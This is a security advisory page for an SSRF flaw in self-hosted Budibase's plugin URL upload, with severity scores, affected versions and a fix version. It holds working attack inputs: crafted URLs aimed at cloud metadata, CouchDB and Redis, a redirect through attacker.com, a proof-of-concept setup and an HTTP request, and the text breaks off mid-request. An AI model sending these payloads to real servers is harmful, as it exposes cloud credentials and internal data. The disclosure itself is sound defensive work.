BUDIBASE · CVE-2026-45061 · Package
FIX → 3.35.10
Budibase's plugin URL upload only checks that the string contains ".tar.gz", so a crafted URL reaches internal hosts. An attacker with Global Builder access can make the server fetch internal addresses such as cloud metadata or CouchDB, and may read the response.
first public May 11, 2026 · 1 source
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Self-hosted Budibase instances at or below 3.34.11 where users with the Global Builder role can upload plugins by URL. The risk is greatest when the blacklist is weakened, since the default blacklist blocks private ranges, but the advisory notes a redirect path may bypass it. Managed or cloud-hosted Budibase is not described by the sources as affected.
Not affected if default-config, fixed-version, managed-hosting
Who cares budibase, cwe-918, low-privilege-builder, self-hosted
budibase/budibase image tag or the server package version; affected if at or below 3.34.11.BLACKLIST_IPS is set to an empty value on the deployment.Upgrade to 3.35.10
3.35.10 (fixed version per the product data).| Field | Value |
|---|---|
| Title | SSRF via trivial .tar.gz substring bypass in Plugin URL upload |
| Product | Budibase (Self-Hosted) |
| Version | ≤ 3.34.11 (latest stable as of 2026-03-30) |
| Component | packages/server/src/api/controllers/plugin/url.ts |
| Vulnerability Type | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |
| Severity | High (chained) / Medium (standalone) |
| CVSS 3.1 Score (chained) | 7.7 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
| CVSS 3.1 Score (standalone) | 5.4 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| Attack Vector | Network |
| Privileges Required | Low (Global Builder role) |
| User Interaction | None |
| Affected Deployments | All Budibase instances with plugin loading enabled (default) |
The Plugin URL upload endpoint (POST /api/plugin) validates the submitted URL with a single substring check: url.includes(".tar.gz"). Any URL containing .tar.gz anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to fetchWithBlacklist() with no further validation of host, scheme, or path.
Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the BLACKLIST_IPS bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default node-fetch behavior with redirect: 'follow').
The developer team's own test suite (objectStore.spec.ts:393) tests that downloadTarballDirect passes through fetchWithBlacklist — confirming they're aware of the SSRF risk on this path. The .tar.gz substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.
File: packages/server/src/api/controllers/plugin/url.ts
// Lines 7-19
export async function urlUpload(url: string, name = "", headers = {}) {
if (!url.includes(".tar.gz")) {
// ← ONLY validation: any URL with ".tar.gz" anywhere passes
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
const path = await downloadUnzipTarball(url, name, headers)
// ↑ url is passed directly — no host allowlist, no scheme check, no path normalization
try {
return await getPluginMetadata(path)
} catch (err) {
deleteFolderFileSystem(path)
throw err
}
}
Problem: url.includes(".tar.gz") checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that .tar.gz appears as an actual file extension at the end of the path.
| Attack URL | includes(".tar.gz") | Actual request target |
|---|---|---|
http://169.254.169.254/.tar.gz | ✅ passes | AWS IMDS |
http://127.0.0.1:4005/_session.tar.gz | ✅ passes | CouchDB |
http://10.0.0.1:6379/.tar.gz | ✅ passes | Redis |
http://attacker.com/file.tar.gz?x=http://internal/ | ✅ passes | Redirect to internal |
http://internal-host/.tar.gz#fragment | ✅ passes | Internal service |
File: packages/backend-core/src/objectStore/tests/objectStore.spec.ts
// Line 393
it("uses fetchWithBlacklist in downloadTarballDirect", async () => {
downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp")
// ← team explicitly tests that IMDS is blocked via blacklist
})
The team knows this code path can reach IMDS. They rely on fetchWithBlacklist as the defense — but never tested the .tar.gz substring bypass that trivially routes around it at the URL validation layer.
| Operation | Endpoint | Required Permission |
|---|---|---|
| Plugin URL upload | POST /api/plugin | Global Builder |
Key insight: The plugin endpoint is behind globalBuilderRoutes, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.
When chained with [001] (BLACKLIST_IPS bypass):
169.254.169.254) — IAM credentials, service account tokens127.0.0.1:4005) — application databases, user records127.0.0.1:6379) — session tokens172.16.0.0/12, 10.0.0.0/8)Standalone (with default blacklist active):
node-fetch redirect behavior and whether fetchWithBlacklist re-checks the redirected URL.The plugin URL upload uses GET-only semantics via fetchWithBlacklist. No write operations to internal services via this path.
No service disruption.
Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass.
Verification status: Code-level confirmed. End-to-end Docker test pending. PoC files are ready:
poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py+docker-compose.yml
# poc/004_plugin_url_ssrf/docker-compose.yml
services:
budibase:
image: budibase/budibase:latest
environment:
SELF_HOSTED: "1"
BLACKLIST_IPS: "" # ← enables chained SSRF (001)
JWT_SECRET: "poc_jwt_secret"
BB_ADMIN_USER_EMAIL: "poc@budibase.com"
BB_ADMIN_USER_PASSWORD: "pocPassword123!"
ports: ["10000:10000"]
victim:
image: python:3.11-alpine
command: python -m http.server 8888
cd poc/004_plugin_url_ssrf
docker-compose up -d
python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000
.tar.gz check with a crafted URLPOST /api/plugin HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<builder-session-cookie>
Content-Type: application/json
{
"source": "URL",
"url": "http://victim:8888/.tar.gz",
"name": "poc-test"
}
The url.includes(".tar.gz") check passes because .tar.gz appears in the path. The URL http://victim:8888/.tar.gz is not a valid tarball — but the string check doesn't know that.
With blacklist active (default config):
{ "message": "Failed to import plugin: URL is blocked or could not be resolved safely." }
With BLACKLIST_IPS="" (chained with 001):
{ "message": "Failed to import plugin: incorrect header check" }
The "incorrect header check" error (zlib decompressor receiving HTTP response headers) proves the request reached victim:8888. The .tar.gz substring check was bypassed, and the HTTP fetch completed.
| URL | Check bypass | Intended target |
|---|---|---|
http://169.254.169.254/.tar.gz | ✅ | AWS IMDS |
http://127.0.0.1:4005/_session.tar.gz | ✅ | CouchDB |
http://127.0.0.1:6379/.tar.gz | ✅ | Redis |
http://attacker.com/real.tar.gz (redirects to http://10.0.0.1/) | ✅ | Internal via redirect |
1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)
2. Builder user sends:
POST /api/plugin { "source"
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.